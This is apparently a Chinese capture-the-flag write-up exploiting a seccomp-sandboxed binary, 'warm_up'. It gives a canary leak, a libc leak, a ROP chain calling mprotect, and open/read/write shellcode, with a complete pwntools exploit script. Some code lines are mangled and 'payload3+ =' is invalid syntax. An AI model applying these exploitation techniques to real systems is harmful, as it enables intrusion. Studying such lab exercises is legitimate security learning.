检查下保护
使用了seccomp系统调用,也就是说开了沙箱,seccomp-tools看看禁用了什么
禁用了execve系统调用,system系统调用实际上会调用execve,所以通过system(‘/bin/sh’)来getshell是不可能的,所以我们换个思路,通过orw,即open一个文件(实际上打开的是一个文件描述符),将文件的内容read到内存中,再将文件内容write到标准输出(stdout)
看看溢出函数
gdb调试偏移,填充24个字节后就是canary,canary最低位为\x00
,所以用任意字符将\x00
覆盖掉,通过printf即可泄露出canary
1 2 3 4
| payload1=b'a'*24 p.sendline(payload1) p.recvuntil(b'a'*24) canary=u64(p.recv(8))-0xa
|
继续调试,canary之后填充8个字节就是返回地址。但是我们要想orw得到flag,必须先写入orw的机器码,aslr会随机化栈的地址。所以我们选择存放在bss段
或got表
|
作用位置 |
归属 |
作用时间 |
ASLR |
1:栈基地址(stack)、共享库(.so\libraries)、mmap 基地址 2:在1基础上,增加随机化堆基地址(chunk) |
系统功能 |
作用于程序(ELF)装入内存运行时 |
PIE |
代码段( .text )、初始化数据段( .data )、未初始化数据段( .bss ) |
编译器功能 |
作用于程序(ELF)编译过程中 |
Nx enabled保护开启,堆栈不可执行,数据段不可执行,代码段不可写
Globle offset table全局偏移量表,位于数据段
可以看到,got表与bss段都没有可执行权限,所以需要mprotect函数修改权限为0x7
,只有got表的地址是一个内存页4k(0x1000)
的整数倍,所以修改got表权限
1 2 3 4 5 6
| mprotect_offset=libc.symbols['mprotect'] gets=libc.symbols['gets']+libcbase mprotect_true=libcbase+mprotect_offset payload2=b'a'*24+p64(canary)+b'a'*8 payload2+=p64(rdi_ret)+p64(save)+p64(gets) payload2+=p64(rdi_ret)+p64(save)+p64(rsi_r15_ret)+p64(0x1000)+p64(0)+p64(rdx_ret)+p64(0x7)+p64(0)+p64(mprotect_true)+p64(save)
|
mprotect有三个参数,如果ROPgadget找不到pop rdx;ret
,我们可以在libc中找到这个指令,值得注意的是,libc中找到的指令不一定有可执行权限,但pop rdx;ret
指令也不是只有一个,要多试试
ROPgadget –binary /lib/x86_64-linux-gnu/libc.so.6 –only ‘pop|ret’ | grep rdx
1 2 3 4 5
| payload3 = shellcraft.open('flag') payload3+ = shellcraft.read(0x3, save_to, 0x40)
payload3+ = shellcraft.write(0x1, save_to, 0x40)
|
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * context(log_level = 'debug', arch = 'amd64', os = 'linux') p=process('./warm_up')
elf=ELF('./warm_up') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_main_got=elf.got['__libc_start_main'] printf_plt=elf.plt['printf'] rdi_ret=0x400bc3 rsi_r15_ret=0x400bc1 start=0x400910 save=0x601000 save_to=0x601080 p.recv() payload1=b'a'*24 p.sendline(payload1) p.recvuntil(b'a'*24) canary=u64(p.recv(8))-0xa print(hex(canary)) p.recvuntil(b' ?') payload2=b'a'*24+p64(canary)+b'a'*8+p64(rdi_ret)+p64(0x400BEF)+p64(rsi_r15_ret) payload2+=p64(libc_main_got)+p64(0)+p64(printf_plt)+p64(start) p.sendline(payload2) true=u64(p.recvuntil(b' ?',drop=True).ljust(8,b'\x00')) offset=libc.symbols['__libc_start_main'] libcbase=true-offset print(hex(libcbase)) mprotect_offset=libc.symbols['mprotect'] gets=libc.symbols['gets']+libcbase mprotect_true=libcbase+mprotect_offset rdx_ret=libcbase+0x000000000011f497 p.recv() payload1=b'a'*24 p.sendline(payload1) p.recvuntil(b' ?')
payload2=b'a'*24+p64(canary)+b'a'*8 payload2+=p64(rdi_ret)+p64(save)+p64(gets) payload2+=p64(rdi_ret)+p64(save)+p64(rsi_r15_ret)+p64(0x1000)+p64(0)+p64(rdx_ret)+p64(0x7)+p64(0)+p64(mprotect_true)+p64(save)
p.sendline(payload2) payload3 = shellcraft.open('flag') payload3+ = shellcraft.read(0x3, save_to, 0x40) payload3+ = shellcraft.write(0x1, save_to, 0x40) p.sendline(asm(payload3)) p.recv()
p.interactive()
|